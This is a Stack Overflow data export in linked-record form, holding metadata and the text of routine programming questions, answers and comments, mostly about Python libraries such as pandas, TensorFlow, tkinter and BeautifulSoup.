score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/49551910
has text: @edge27 No problem, jezrael's answer is also good, so you can upvote all answers even if you can only accept one. Cheers.

http://stackoverflow.com/a/49507985
score: 0
has body: The learning is narrowing in on the best set of weights, and sometimes overshoots. Though, as you say, your chart is quite noisy. When you say your network is 43-8-1, do you mean you gave hidden as [43,8,1], or you gave hidden as [8] ? If the former, remember that H2O tries to be helpful, so the output layer (1 neuron as you are doing a regression) and input layer (43 neurons, if all data is numeric, otherwise more) are created for you. If the latter, [2] and [8] are very low numbers, possibly too few (and too few layers) for it to be effective (depending on your data of course). Whether the former, or the latter, did you try more neurons? E.g. the default of [200,200]? It will obviously take more time to do each epoch, but is the scoring history smoother now? I can imagine how only having a few neurons can make the training score get quite jumpy. But if that isn't it, I've seen noisy scoring history charts when hitting numeric instability. So you could try switching from Rectifier to Tanh. More generally, it is worth building the all-defaults model first, as a baseline to compare to; in particular I'd avoid touching rho, learning rate, momentum, etc. H2O does a good job of choosing defaults for them.
has comment: http://stackoverflow.com/comment/86028365
answers question: http://stackoverflow.com/q/49506194
type: Answer
has comment: http://stackoverflow.com/comment/86031166
has comment: http://stackoverflow.com/comment/86021140

http://stackoverflow.com/q/49539203
tagged with: excel
type: AnsweredQuestion
tagged with: pandas
score: 0
has comment: http://stackoverflow.com/comment/86085625
answer count: 1
has title: Pandas - Combine Excel Rows on ID
has comment: http://stackoverflow.com/comment/86085821
accepted answer: http://stackoverflow.com/a/49539276
has comment: http://stackoverflow.com/comment/86085675
has comment: http://stackoverflow.com/comment/86085707
type: Question
has answer: http://stackoverflow.com/a/49539276
tagged with: python
has body: I have a dataframe that currently looks like this. I need to combine the two rows on the id. id post date 0 10-1 Lorem ipsum dolor sit amet, consectetur adipiscing... 2012-01-28 1 10-1 Ut enim ad minim veniam, quis nostrud exercitation... 2012-01-28 Expected result is this: id post date 0 10-1 Lorem ipsum dolor sit amet, consectetur adipiscing... 2012-01-28 What I have tried: 1) df = df.groupby(['id', 'post']) 2) df = df.groupby(['id', 'post']).first().reset_index(); 3) df = df.groupby('id', 'post').agg({'post: sum'}) 4) df = df.groupby('id') df['id'].nunique() 5) df = df.groupby('id').agg(lambda x: x.tolist()) 5 has gotten me the closest. When I run that, it removes duplicates, but doesn't aggregate the post column. I am having trouble understanding how to solve this problem. I don't understand how to groupby two things after reading the documentation.

http://stackoverflow.com/q/49581668
has body: I am getting this error AttributeError: 'ZeroOut' object has no attribute 'eval' when I execute the code. I compiled it as in the standard tutorial of tensorflow (https://www.tensorflow.org/extend/adding_an_op) TF_CFLAGS=( $(python -c 'import tensorflow as tf; print(" ".join(tf.sysconfig.get_compile_flags()))') ) TF_LFLAGS=( $(python -c 'import tensorflow as tf; print(" ".join(tf.sysconfig.get_link_flags()))') ) g++ -std=c++11 -shared zero_out.cc -o zero_out.so -fPIC ${TF_CFLAGS[@]} ${TF_LFLAGS[@]} -O2 main.py import tensorflow as tf import numpy as np forward_module = tf.load_op_library('./zero_out.so') with tf.Session(''): outgrad0 = np.arange(1,7).reshape(3,2).astype('float32') print(forward_module.zero_out(outgrad0).eval()) zero_out.cc file: #include "tensorflow/core/framework/op.h" #include "tensorflow/core/framework/shape_inference.h" #include "tensorflow/core/framework/op_kernel.h" using namespace tensorflow; REGISTER_OP("ZeroOut") .Input("to_zero: int32") .Output("zeroed: int32") .Output("indice: int32"); class ZeroOutOp : public OpKernel { public: explicit ZeroOutOp(OpKernelConstruction* context) : OpKernel(context) { } void Compute(OpKernelContext* context) override { const Tensor&amp; input_tensor = context-&gt;input(0); auto input = input_tensor.flat&lt;int32&gt;(); Tensor* output_tensor = NULL; Tensor* output_tensor_indice = NULL; TensorShape indice_shape; int dims[] = {1}; TensorShapeUtils::MakeShape(dims, 1, &amp;indice_shape); OP_REQUIRES_OK(context, context-&gt;allocate_output(0, input_tensor.shape(), &amp;output_tensor)); OP_REQUIRES_OK(context, context-&gt;allocate_output(1, indice_shape, &amp;output_tensor_indice)); auto output_flat = output_tensor-&gt;flat&lt;int32&gt;(); auto indice_flat = output_tensor_indice-&gt;flat&lt;int32&gt;(); indice_flat(0) = 3; } }; REGISTER_KERNEL_BUILDER(Name("ZeroOut").Device(DEVICE_CPU), ZeroOutOp); As you can see I added another output variable, because I want to have a tuple as output. But I always get this sill…
accepted answer: http://stackoverflow.com/a/49699275
score: 0
answer count: 1
tagged with: tensorflow
type: Question
has title: AttributeError: 'ZeroOut' object has no attribute 'eval'
has answer: http://stackoverflow.com/a/49699275
tagged with: python
type: AnsweredQuestion

http://stackoverflow.com/a/49497750
answers question: http://stackoverflow.com/q/49497627
score: 0
has body: You can do a value counts of the id columns as x=df['id'].value_counts() x=pd.DataFrame(x) x.columns=['id','cat'] convert it into a pandas DataFrame and perform a left join pd.merge(df,x,on='id',how='left')
type: Answer

http://stackoverflow.com/comment/86063073
type: QuestionComment
comment on: http://stackoverflow.com/q/49528586
has text: @Daniel Roseman. Yes I agree that I am using composition. I dont think I'm using inheritance in this particular question. Where do you see it?
score: 0
type: Comment

http://stackoverflow.com/q/49598456
favorite count: 0
type: Question
tagged with: tkinter
accepted answer: http://stackoverflow.com/a/49598599
answer count: 1
downvote count: 0
score: 6
has answer: http://stackoverflow.com/a/49598599
has body: I'm trying to create a vertical line between two columns using tkinter grid. I have been looking for ways to do it, but it's all something that I don't need like coordinates. from tkinter import * master = Tk() player1 = "A" player2 = "B" from tkinter import * Label(master, text="NAME", font=30).grid(row=0) Label(master, text=player1, font=30).grid(row=1) Label(master, text=player2, font=30).grid(row=2) Label(master, text="SCORE", font=30).grid(column=2, row=0) I want to add a vertical line at column 1, is there a way to do that?
upvote count: 6
type: AnsweredQuestion
has title: vertical line tkinter using grid
tagged with: python

http://stackoverflow.com/q/49505689
favorite count: 0
type: Question
upvote count: 2
has title: How to make marshmallow raise AttributeErrors on serialization
answer count: 1
accepted answer: http://stackoverflow.com/a/49508623
type: AnsweredQuestion
score: 2
has body: How can I make marshmallow make raise an exception when data is missing attributes? Consider the following example: In [8]: import marshmallow In [9]: class Foo(marshmallow.Schema): ...: bar = marshmallow.fields.Str(required=True) ...: In [10]: class Bar: ...: pass ...: In [11]: bar = Bar() In [12]: Foo().dumps(bar) Out[12]: MarshalResult(data='{}', errors={}) In [13]: bar.bar --------------------------------------------------------------------------- AttributeError Traceback (most recent call last) &lt;ipython-input-13-6901e83d9f0c&gt; in &lt;module&gt;() ----&gt; 1 bar.bar AttributeError: 'Bar' object has no attribute 'bar' What's even worse, is this: In [14]: foo.loads(foo.dumps(bar).data) Out[14]: UnmarshalResult(data={}, errors={'bar': ['Missing data for required field.']})
downvote count: 0
tagged with: python
tagged with: marshmallow
has answer: http://stackoverflow.com/a/49508623

http://stackoverflow.com/comment/86193538
has text: What's the output if you print `sys.argv`? It seems like the arguments you expect aren't being passed to the script, i.e. `argv` contains only the script name and nothing else.
type: Comment
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/49592949

http://stackoverflow.com/comment/85903119
score: 0
comment on: http://stackoverflow.com/a/49444727
type: AnswerComment
type: Comment
has text: Running `pip3 install pandas` worked. Thanks for the help.

http://stackoverflow.com/comment/86014893
comment on: http://stackoverflow.com/q/49505457
has text: Abandon Python-2.7 and switch to Python-3.x.
type: Comment
type: QuestionComment
score: 4

http://stackoverflow.com/q/49524430
tagged with: python
has answer: http://stackoverflow.com/a/49524460
score: 0
tagged with: pandas
type: Question
has body: I'm trying to extract data from excel files, that really needs major reformatting, into a new simple one for easier readability. Following is a simplified example: of what I am looking at What I am trying to do is to check if there are units rejected then look up the values with the header name and save it to a new column. So far what I've got is for each in df['Total Unit Rejected']: if each &gt; 0: # Look up values in columns 3:7 newDataFrame = df['Total Unit Tested','Total Unit Rejected','Notes'] I want the new excel sheet to look like the following image . Any help would be greatly appreciated!
has title: Pandas, Looking up header names in a for loop
type: UnansweredQuestion
answer count: 1
has comment: http://stackoverflow.com/comment/86054779

http://stackoverflow.com/a/49541047
answers question: http://stackoverflow.com/q/49540872
type: AcceptedAnswer
score: 4
accepted answer of: http://stackoverflow.com/q/49540872
type: Answer
upvote count: 4
has body: This is not only allowed, it's basically the main reason you want to use OO in the first place: to design a new type, Queue, that acts like a builtin type. Consider int. An int has some internal state that you don't know about—or care about.1 What you care about is that in some way, it represents an integer value, and it provides operations that make sense for that representation. If you add the ints 2 and 3 and print the result, you get the output 5. That's exactly what you've done with Queue. As far as the outside world is interested, it's representing a queue of items in some way they neither know nor care about, so long as it provides operations that consistently make sense, like your size. So, now a something can use a Queue instance as one of its attributes, exactly the same way it uses an int. The only quibble is that you probably want to use _items instead of __items for your private list. In Python, both are "private by convention", but __items goes farther and mangles the name to make it slightly harder to use from outside. This isn't useful for protection, but it is useful for avoiding accidental collisions, especially cases where a subclass or superclass accidentally uses the same name. So, by using __items, you're signaling that you expect Queue to be part of an inheritance hierarchy, with subclasses written by people who don't know how a Queue is implemented. If that isn't true, it's better not to signal it. 1. In CPython, it's a linked list of 30-bit int32 digits, with the first one signed and the rest unsigned. See, I told you that you didn't know or care about it.
downvote count: 0

http://stackoverflow.com/a/49504116
score: 0
has body: This is because you have missing Lattitiude and Longitude in your file. df = df.loc[df.lat.notna(), :] df = df.loc[df.long.notna(), :] Add these two lines before reverse geocoding, this will omit all missing values.
answers question: http://stackoverflow.com/q/49503892
type: Answer
has comment: http://stackoverflow.com/comment/86012864

http://stackoverflow.com/a/49521648
has comment: http://stackoverflow.com/comment/86067591
downvote count: 0
upvote count: 1
has body: The following works, array([t.sum() for t in array_split(L, b)]) And if, as you stated, you know that b divides L evenly, you can replace array_split with the split function. Here's some benchmarks, with b=100 and L = randint(0, 100, 1000) %timeit sum_groups(L, b) # Defined in Divakar's answer 8.09 µs ± 293 ns per loop (mean ± std. dev. of 7 runs, 100000 loops each) %timeit array([t.sum() for t in array_split(L, b)]) 260 µs ± 2.12 µs per loop (mean ± std. dev. of 7 runs, 1000 loops each) %timeit np.add.reduceat(L, np.linspace(0.5, L.size+0.5, b, False, dtype=int)) 15.9 µs ± 1.45 µs per loop (mean ± std. dev. of 7 runs, 10000 loops each) and with with b=3 and L = randint(0, 100, 1000) %timeit sum_groups(L, b) 23.2 µs ± 317 ns per loop (mean ± std. dev. of 7 runs, 10000 loops each) %timeit array([t.sum() for t in array_split(L, b)]) 16.2 µs ± 171 ns per loop (mean ± std. dev. of 7 runs, 10000 loops each) %timeit np.add.reduceat(L, np.linspace(0.5, L.size+0.5, b, False, dtype=int)) 15 µs ± 1.77 µs per loop (mean ± std. dev. of 7 runs, 10000 loops each) Depending on your data, it looks like Divakar's answer using reshaping may be the best approach.
answers question: http://stackoverflow.com/q/49520629
score: 1
type: Answer

http://stackoverflow.com/comment/86200929
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/49596851
score: 0
has text: I would guess it's a wrapper around a C++ interface... but I really don't know.

http://stackoverflow.com/q/49596102
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/86200630
tagged with: launchpad
tagged with: ubuntu
has comment: http://stackoverflow.com/comment/86199866
score: 2
has answer: http://stackoverflow.com/a/49599053
has title: Get or Retrieve OS versions and architectures from a library package and download it with launchpad API
answer count: 1
linked to: http://stackoverflow.com/q/110362
downvote count: 0
favorite count: 0
type: Question
has body: How to get OS versions, builds(architectures) versions of packages? As I know, there are similar Python packages such as launchpadlib. However, I cannot get OS versions, package builds with this library. I have searched but haven't found any package(s) that can give me all this information. Implementation with html parser: get os series [('warty', '4.10'), ('hoary', '5.04'), ('breezy', '5.10'), ('dapper', '6.06'), ('edgy', '6.10'), ('feisty', '7.04'), ('gutsy', '7.10'), ('hardy', '8.04'), ('intrepid', '8.10'), ('jaunty', '9.04'), ('karmic', '9.10'), ('lucid', '10.04'), ('maverick', '10.10'), ('natty', '11.04'), ('oneiric', '11.10'), ('precise', '12.04'), ('quantal', '12.10'), ('raring', '13.04'), ('saucy', '13.10'), ('trusty', '14.04'), ('utopic', '14.10'), ('vivid', '15.04'), ('wily', '15.10'), ('xenial', '16.04'), ('yakkety', '16.10'), ('zesty', '17.04'), ('artful', '17.10'), ('bionic', '18.04')] get package builds libc6-dev ['amd64', 'i386', 'powerpc'] get package versions libc6-dev ['2.3.2.ds1-13ubuntu2', '2.3.2.ds1-13ubuntu2.2', '2.3.2.ds1-13ubuntu2.2', '2.3.2.ds1-13ubuntu2.3']
upvote count: 2

http://stackoverflow.com/comment/86006402
type: Comment
comment on: http://stackoverflow.com/q/49500637
has text: Ah I see, thank you. Give me a minute.
score: 0
type: QuestionComment

http://stackoverflow.com/q/49482344
tagged with: forms
upvote count: 1
has answer: http://stackoverflow.com/a/49482370
favorite count: 0
type: Question
tagged with: django
has comment: http://stackoverflow.com/comment/85967555
tagged with: python
type: AnsweredQuestion
has title: Django identify object through form
score: 1
accepted answer: http://stackoverflow.com/a/49482370
has body: I am making a web page which has a list of objects, and each object has a button to delete it. I am making this with Django forms, but once I make the post I cannot identify from which object it came from. How do I do that? This is my html code: {% for item in item_list %} {% csrf_token %} {{ item.nombre }}: {{ item.cantidad }} {% endfor %}
answer count: 1
downvote count: 0

http://stackoverflow.com/q/49457209
tagged with: javascript
tagged with: python
has comment: http://stackoverflow.com/comment/85928023
has comment: http://stackoverflow.com/comment/85919213
has comment: http://stackoverflow.com/comment/85935922
has title: Problems in using Python and BeautifulSoup to parse HTML page avoiding Java
score: 0
has comment: http://stackoverflow.com/comment/85930807
has body: I'm struggling with the parsing of a website that contains some Java: using BeautifulSoup I should be able to extract the informations that I need, but despite all my trials I can't understand how. Unfortunately I can't post the link because it's a restricted website, but I can post the HTML code and the results I get, hoping that someone could help me. Here's an extract of the HTML: &lt;table class="customer-info-table"&gt; &lt;tr&gt; &lt;td&gt; &lt;label&gt;Nome&lt;/label&gt; XXXXXX XXXX &lt;/td&gt; &lt;td&gt; &lt;label&gt;Cognome&lt;/label&gt; XXXXXXX &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;label&gt;Codice cliente&lt;/label&gt; N/A &lt;/td&gt; &lt;td&gt; &lt;label&gt;Indirizzo e-mail&lt;/label&gt; XXXXXXXXX@gmail.com &lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &lt;span class="panel-headline"&gt;Commento articolo&lt;/span&gt; &lt;hr/&gt; &lt;i class="rating r1"&gt;&lt;/i&gt;&lt;br/&gt; BLACKLIST &lt;textarea name="text" id="review-text" rows="12" readonly="readonly"&gt; Mi avete mandato e-mail Ke il prodotto era disponibile; invece è esaurito........... Mah.&lt;/textarea&gt; &lt;span class="panel-headline"&gt;Commenti sulla vestibilità&lt;/span&gt; &lt;hr/&gt; &lt;table class="size-info-table"&gt; &lt;tr&gt; &lt;td&gt; &lt;label&gt;Lunghezza&lt;/label&gt; Viel zu kurz &lt;/td&gt; &lt;td&gt; &lt;label&gt;Larghezza&lt;/label&gt; Viel zu eng &lt;/td&gt; &lt;td&gt; &lt;label&gt;Taglia&lt;/label&gt; &amp;nbsp &lt;/td&gt; &lt;td&gt; &lt;label&gt;Varianti&lt;/label&gt; &amp;nbsp &lt;/td&gt; &lt;td&gt; &lt;label&gt;Statura&lt;/label&gt; &amp;nbsp &lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &lt;p&gt; &lt;table class="table"&gt; &lt;tr&gt; &lt;td&gt; &lt;b&gt;Rezensions-ID:&lt;/b&gt; &lt;span id="review-id"&gt;11166707&lt;/span&gt; &lt;/td&gt; &lt;td&gt; &lt;b&gt;Creata:&lt;/b&gt; &lt;span class="utc-date"&gt; 23.03.2018 12:23:15 &lt;/span&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;b&gt;Letzte &amp;Auml;nderung&lt;/b&gt; &lt;span class="utc-date"&gt; 23.03.2018 1…
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/85917608
tagged with: beautifulsoup
type: Question
has comment: http://stackoverflow.com/comment/85928092
answer count: 0
type: UnansweredQuestion

http://stackoverflow.com/a/49459879
score: 17
accepted answer of: http://stackoverflow.com/q/49459661
has body: There doesn't appear to be any actual performance difference here. When I run your code, and swap the two tests, whichever one comes second goes faster. When I use timeit for proper benchmarking, they take about the same time (540ms for / vs. 539ms for divide). My guess would be that the difference you measured was the time to malloc the array—the first one needs to do that, the second one can reuse the memory that just got freed. But let's look at the source. The code in generate_umath.py creates the actual code, and it's assigning the same Ufunc (named numpy.core.umath.divide) to np.floor_divide and to the PyNumber_FloorDivide slot for np.ndarray. (If you're wondering why I looked up floor_divide when you're using divide and / instead of floor_divide and //, see the comment later where it deletes divide for Python 3 because it will be aliased it to true_divide.) IIRC, the actual code is a switch on types and sizes that ultimately ends up in one of the loop templates in loops.c.src. So, beyond the differences in explicit Ufunc wrapper code vs. builtin method-wrapper wrapper code (which is going to be irrelevant for any array that isn't tiny), they end up in the same place.
downvote count: 0
answers question: http://stackoverflow.com/q/49459661
type: AcceptedAnswer
upvote count: 17
type: Answer

http://stackoverflow.com/a/49565969
answers question: http://stackoverflow.com/q/49561634
score: 3
type: Answer
has body: First off, I don't have the "Little Book of Sempahores" sitting around and 30 seconds of searching did not yield anything CS-related about "Lightswitch Design Pattern" (but plenty of stuff about home improvement). Anyhow, I believe you're code was a bit too complicated. Here's what I came up with: import logging, threading, random, time # Lame enum in case you aren't on Python 3.4. # FEMALE = 0; MALE = 1 names = ["Female", "Male"] class User(object): def __init__(self, sex): self.sex = sex self.name = names[sex] def go(self, bathroom): logging.debug("%s queueing up" % self.name) with bathroom.condition: while not bathroom.is_open(self): bathroom.condition.wait() logging.debug("%s entering the bathroom" % self.name) bathroom.enter(self) time.sleep(1) logging.debug("%s leaving the bathroom" % self.name) bathroom.leave(self) class Bathroom(object): def __init__(self): self.condition = threading.Condition() self.current_sex = None self.count = 0 def is_open(self, user): return self.current_sex is None or self.current_sex == user.sex def enter(self, user): assert(self.is_open(user)) self.current_sex = user.sex self.count += 1 def leave(self, user): assert(user.sex == self.current_sex) self.count -= 1 assert(self.count &gt;= 0) if self.count == 0: logging.debug("Bathroom is empty. Opening for anyone") self.current_sex = None with self.condition: self.condition.notify_all() def Main(): logging.basicConfig(format='%(threadName)s, %(asctime)s, %(message)s', datefmt='%M:%S', level=logging.DEBUG) b = Bathroom() logging.debug("we're off to the races!") for i in range(10): user = User(random.randint(0, 1)) t = threading.Thread(target=user.go, args=(b,)) logging.debug("Starting a thread") t.start() if __name__ == '__main__': Main() Some general comments about the multi-threaded portion: The whole thing is based around a single threading.Condition which the bathroom keeps track of. Anyone can enter the bathroom when it's already assigned to their sex or if it's empty. When a bathr…
upvote count: 3
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/49561634

http://stackoverflow.com/comment/119646088
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/49562961
score: 1
has text: it should be obj = json.loads(s) , instead of obj = json.loads(obj)

http://stackoverflow.com/a/49581988
score: 0
has body: As described in the previous answers, applying the concept of inheritance at the instance level rather than the class level does not make much sense. If what you really want is just for child to have access to the get_cloth method of Outfit, you can assign it explicitly: child = Child('tom', 'M') child.get_cloth = Outfit().get_cloth print(child.get_cloth()) Note that I use Outfit().get_cloth and not Outfit.get_cloth to extract get_cloth as a method on not just as a function. The fact that this is easily possible comes down to the design choice of the Python language of having self be an argument to every method, instead of some fixed non-local variable.
has comment: http://stackoverflow.com/comment/86172569
type: Answer
has comment: http://stackoverflow.com/comment/86172390
accepted answer of: http://stackoverflow.com/q/49581807
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/49581807
has comment: http://stackoverflow.com/comment/86172285
has comment: http://stackoverflow.com/comment/86172160
has comment: http://stackoverflow.com/comment/86172335

http://stackoverflow.com/q/49509474
type: Question
tagged with: pyramid
answer count: 0
type: UnansweredQuestion
downvote count: 0
upvote count: 1
score: 1
tagged with: psycopg2
favorite count: 0
has body: I have the following code: def execute_statement(stmt): #create connection conn = psdb.connect(dbname='db', user='user', host='localhost', password='password') cur = conn.cursor() cur.execute(stmt) rows=cur.fetchall()[0] conn.close() return rows def get_product_details(request): """Retrieve all information for a certain product, -&gt; returns id, name, description and price""" #initiate faultstring faultstring = None #get product information from db try: row = execute_statement("""SELECT array_to_json(array_agg(pr)) FROM (SELECT id, name, description, price FROM product WHERE product.id = %(product_id)s) pr""" % request.matchdict)[0] except Exception as e: faultstring = str(e) #create responseobject resp = {} if faultstring: resp['faultstring'] = faultstring else: resp['product'] = row respjson = json.dumps(resp) return Response(json_body=json.loads(respjson)) Route: #get_product_details config.add_route('getproductdetail', '/getproductdetail/{product_id}') config.add_view(get_product_details, route_name='getproductdetail', renderer='json') The try/except block in get_product_details() returns a faultstring if I fill in a letter as an ID (ex: localhost/get_product_details/q) If I try to get a product which does not exist, like localhost/get_product_details/500 it does not fill the faultstring, and returns 'products': null while the error does exist. Why doesnt it handle the exception for an empty fetch the same way as it does with a faulty datatype?
tagged with: http://stackoverflow.com/tag/json
tagged with: python
has title: Psycopg2 not raising no results to fetch error

http://stackoverflow.com/q/49490327
has comment: http://stackoverflow.com/comment/85984423
has comment: http://stackoverflow.com/comment/85985201
score: 0
tagged with: tensorflow
has title: nltk not available for python 3.5.2
has body: I successfully installed nltk and works fine in python 3.6.3. I have to run a file where nltk was imported and tensorflow too ,hence, i have to activate tensorflow. HP-250-G5-Notebook-PC:~$ python Python 3.6.3 |Anaconda custom (64-bit)| (default, Oct 13 2017, 12:02:49) [GCC 7.2.0] on linux Type "help", "copyright", "credits" or "license" for more information. &gt;&gt;&gt; import nltk &gt;&gt;&gt; When I activate tensorflow seems to use python 3.5.2. (tensorflow)HP-250-G5-Notebook-PC:~/AIG2018/Chatbot$ python Python 3.5.2 (default, Nov 23 2017, 16:37:01) [GCC 5.4.0 20160609] on linux Type "help", "copyright", "credits" or "license" for more information. &gt;&gt;&gt; import nltk Traceback (most recent call last): File "&lt;stdin&gt;", line 1, in &lt;module&gt; When I look up for solutions this is what I tried but no positive results. (tensorflow) country_boy@Shikongo-Veijo-HP-250-G5-Notebook-PC:~$ pip install nltk Traceback (most recent call last): File "/home/country_boy/tensorflow/bin/pip", line 6, in &lt;module&gt; from pkg_resources import load_entry_point File "/home/country_boy/tensorflow/lib/python3.5/site-packages/pkg_resources/__init__.py", line 2927, in &lt;module&gt; @_call_aside File "/home/country_boy/tensorflow/lib/python3.5/site-packages/pkg_resources/__init__.py", line 2913, in _call_aside f(*args, **kwargs) File "/home/country_boy/tensorflow/lib/python3.5/site-packages/pkg_resources/__init__.py", line 2952, in _initialize_master_working_set add_activation_listener(lambda dist: dist.activate()) File "/home/country_boy/tensorflow/lib/python3.5/site-packages/pkg_resources/__init__.py", line 956, in subscribe callback(dist) File "/home/country_boy/tensorflow/lib/python3.5/site-packages/pkg_resources/__init__.py", line 2952, in &lt;lambda&gt; add_activation_listener(lambda dist: dist.activate()) File "/home/country_boy/tensorflow/lib/python3.5/site-packages/pkg_resources/__init__.py", line 2515, in activate declare_namespace(pkg) File "/home/country_boy/te…
type: Question
answer count: 0
has comment: http://stackoverflow.com/comment/85984754
tagged with: nltk
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/86038170

http://stackoverflow.com/comment/86030260
score: 0
type: Comment
comment on: http://stackoverflow.com/a/49508877
type: AnswerComment
has text: Thanks for answering. I would not say that scope is enough, since the dictionary `a` could be passed to some other thread that might change the value in `'words'`. I was wondering whether Python detects repeating expressions and traces them, in order not to compute them each time they present, if possible

http://stackoverflow.com/q/49490017
has body: I have a situation where my Python2.7 project requires a different version than one of my dependencies. Say, for example, my project has lib1 and lib2. My project requires lib2 v1.1, but lib1 requires lib2 v2.0. Version 2.0 is not backward compatible with v1.1. How can install both versions of the same package that won't conflict each other or install lib1 with its dependencies isolated and just import it without conflicting with my packages. Addition: This question is about how to resolve dependencies on different versions of the same package and using them in the same code base. Is there any general solution to isolate sub-dependencies, and be sure your packages not conflicting each other ? Having multiple environments where you can use different versions of a dependency won't help for this.
tagged with: python-2.7
downvote count: 4
upvote count: 3
answer count: 1
favorite count: 0
score: -1
type: Question
linked to: http://stackoverflow.com/q/6570635
has comment: http://stackoverflow.com/comment/85994715
has comment: http://stackoverflow.com/comment/85988271
has comment: http://stackoverflow.com/comment/85999366
has comment: http://stackoverflow.com/comment/85986956
has comment: http://stackoverflow.com/comment/85999052
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49490156
tagged with: pip
has comment: http://stackoverflow.com/comment/85987107
tagged with: python
has comment: http://stackoverflow.com/comment/85995998
linked to: http://stackoverflow.com/q/25430463
has title: Pip install package with dependencies isolated

http://stackoverflow.com/q/49459370
has comment: http://stackoverflow.com/comment/85921664
has answer: http://stackoverflow.com/a/49459461
possible better answer: http://stackoverflow.com/a/49460305
score: 4
has title: Inheriting an alias with child class MRO
accepted answer: http://stackoverflow.com/a/49459525
has answer: http://stackoverflow.com/a/49460305
type: AnsweredQuestion
answer count: 3
downvote count: 0
has body: class parent: def fun1(self): print("foo") fun2 = fun1 class child(parent): def fun1(self): print("bar") child().fun2() This code outputs "foo". I'm pretty sure I understand why this is happening, but I'm wondering if there is a straightforward way to implement what I want (inheritable aliases that behave according to MRO, so it outputs "bar") or a reason why this is bad programming practice.
favorite count: 0
upvote count: 4
type: Question
has answer: http://stackoverflow.com/a/49459525
tagged with: python

http://stackoverflow.com/q/49532759
downvote count: 0
tagged with: parsing
favorite count: 0
tagged with: beautifulsoup
type: Question
possible better answer: http://stackoverflow.com/a/49533614
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/49533614
tagged with: python
tagged with: xpath
type: AnsweredQuestion
has title: Get contents of html elements with arbitary degrees of nesting (along with xpath of contents)
linked to: http://stackoverflow.com/q/1732348
score: 3
accepted answer: http://stackoverflow.com/a/49536835
answer count: 2
upvote count: 3
has answer: http://stackoverflow.com/a/49536835
has body: I'm looking for a way to read the text contents (i.e. no HTML code) of HTML elements with arbitrary degrees of nesting. If there were no nesting it would be easy enough, but since HTML isn't a regular language, others with the same problem have been told to use (X)HTML parsers. Is it possible to do this with beautiful soup? Something like: page = soup.find('*').getText() # obviously this won't give xpath info I can imagine using a generator to feed different tag names into the find function, but I won't know what the tag names are. I would also need to return something like an xpath reference to the element with the text so that I would know the source of the contents that are eventually returned from the find function. So, for the following HTML: &lt;div&gt; text of div 1 &lt;span&gt; text of span 1 &lt;span&gt; text of span 2 &lt;/span&gt; &lt;/span&gt; &lt;/div&gt; I would need a function to return something like: ('text of div 1', '/div'), ('text of span 1', '/div/span'), ('text of span 2', '/div/span/span')

http://stackoverflow.com/q/49441090
has answer: http://stackoverflow.com/a/49468308
has body: I wrote a small program in Python which output depends on the content of a few webpages. I have no control over these webpages and it could change in future. For so I am writing some tests. I wrote an integration test and I am trying to write a unittest in which I mock the function scrapping the webpages. In my test the function is called twice and returns the content of two different webpages each time. This implies that I need to mock it with a function returning two different things. I am doing it the following way: def gen(): yield open("search_content.dat","rb").read() yield open("feed_content.dat","rb").read() content_generator = gen() def FakeScrapper(*args, **kwargs): return next(content_generator) and further @patch( "http.client.HTTPResponse.read", side_effect=FakeScrapper) def test_mockscrapper(self, *args, **kwargs): I am using a function wrapping a generator. It looks quite heavy and ugly to me. Is there a more pythonic way of doing so?
score: 1
tagged with: python
has title: Python unittest: how to nicely mock a web crawler function?
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/85884859
answer count: 1
downvote count: 0
upvote count: 1
tagged with: unit-testing
accepted answer: http://stackoverflow.com/a/49468308
type: AnsweredQuestion

http://stackoverflow.com/comment/85959788
type: QuestionComment
has text: I did try `startswith` but there could be a case where one regular file starts with the name of another regular file: `/somepath/foo.txt.bak , /somepath/foo.txt`. Having said that, its possible a regex could do it?
comment on: http://stackoverflow.com/q/49478361
score: 0
type: Comment

http://stackoverflow.com/a/49567126
score: 2
upvote count: 2
downvote count: 0
answers question: http://stackoverflow.com/q/49567036
type: Answer
has body: IIUC using reindex, then we recreate the index by using groupby cumcount s=df.reindex(df.index.tolist()*3) s.index=s.groupby(s.index).cumcount()+1 s Out[1349]: item_a item_b 1 1 123 1 7 32 1 4 18 2 1 123 2 7 32 2 4 18 3 1 123 3 7 32 3 4 18

http://stackoverflow.com/comment/86198324
score: 3
type: Comment
type: QuestionComment
has text: List comprehensions are hard to debug. So if you encounter a bug involving a list comprehension the first thing to do is to unwind the comprehension expression into a `for`-loop so that you can insert `print()` calls to see what is going on. You can turn it back into a list comprehension when you have code that works.
comment on: http://stackoverflow.com/q/49595435

http://stackoverflow.com/a/49498470
answers question: http://stackoverflow.com/q/49498324
type: Answer
has body: your both codes aren't equivalent point = {'features':[.4,1,3,.01,.1], 'label': 1} you're passing a dictionary of lists instead of the value. When iterated upon, the dictionary yields strings. You mean: p = predict(model, point['features'])
score: 2
upvote count: 2
downvote count: 0

http://stackoverflow.com/comment/86576571
has text: You the best!!!!! - you wouldn't happen to know if there's a way to get the ID of the tweet the reply was originally in response to??
score: 0
type: Comment
comment on: http://stackoverflow.com/a/49469052
type: AnswerComment

readfile
tags question: http://stackoverflow.com/q/49549982
type: Tag
tags question: http://stackoverflow.com/q/49592819
tags question: http://stackoverflow.com/q/49514039
tag name: readfile
tags question: http://stackoverflow.com/q/49528654
tags question: http://stackoverflow.com/q/49548137

http://stackoverflow.com/comment/86151307
type: Comment
score: 1
has text: That is sure possible. Since you have your fitting function and the interactive feature available, what exact problem do you face when combining them?
type: QuestionComment
comment on: http://stackoverflow.com/q/49570341

http://stackoverflow.com/a/49526938
type: Answer
has comment: http://stackoverflow.com/comment/105637227
